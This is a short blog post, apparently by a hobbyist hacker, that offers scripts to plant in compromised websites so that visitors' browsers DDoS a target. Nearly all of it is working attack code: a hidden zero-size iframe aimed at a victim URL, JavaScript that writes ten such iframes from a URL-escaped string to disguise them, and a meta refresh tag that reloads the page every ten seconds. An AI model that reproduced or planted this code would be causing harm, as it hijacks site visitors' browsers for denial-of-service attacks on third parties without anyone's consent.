DDOS srcipt for webpages.
What I mean ?
I mean that some hackers when they get into a server they do not deface the website but they use it for DDOS attacks.
Here are some srcripts that I have made or found.
Some hackers just post this script in the webpage.
<IFRAME SRC="www.victim.com" WIDTH=0 HEIGHT=0
frameborder=0></IFRAME>
This srcipt is so simple that a normal html programmer will see it and probably delete it.
So they put the following in the site which is far more less attractive.
<script language="javascript">
for(i=1; i<=10; i++)
document.write( unescape(
'%3C%49%46%52%41%4D%45%20%53%52%43%3D%22%68%74%74%70%
3A%2F%2F%77%77%77%2E%73%33%63%75%72%65%2E%67%72%22%20
%57%49%44%54%48%3D%30%20%48%45%49%47%48%54%3D%30%20%66%72%61%6D%
65%62%6F%72%64%65%72%3D%30%3E%3C%2F%49%46%52%41%4D%45%3E%0A%
0A%09%09%09')) ;
</script>
The i<=10 just create 10 iframes for better DDOS attack.
The '%3C%49%46%52%41%4D%45%20%53%52%43%3D%22%68%74%74%70%
3A%2F%2F%77%77%77%2E%73%33%63%75%72%65%2E%67%72%22%20
%57%49%44%54%48%3D%30%20%48%45%49%47%48%54%3D%30%20%66%72%61%6D%
65%62%6F%72%64%65%72%3D%30%3E%3C%2F%49%46%52%41%4D%45%3E%0A%
0A%09%09%09')) ; is escaped characters in order to camouflage the code ;P
In the end they plant at the HEADER of the site the following command:
<meta http-equiv="refresh" content="10">
With this way , the webpage makes the browser refreshes every 10 seconds.
Thanks for reading ! ;)
Tell me your opinion by making a comment AND do not forget to JOIN my blog!
0 comments: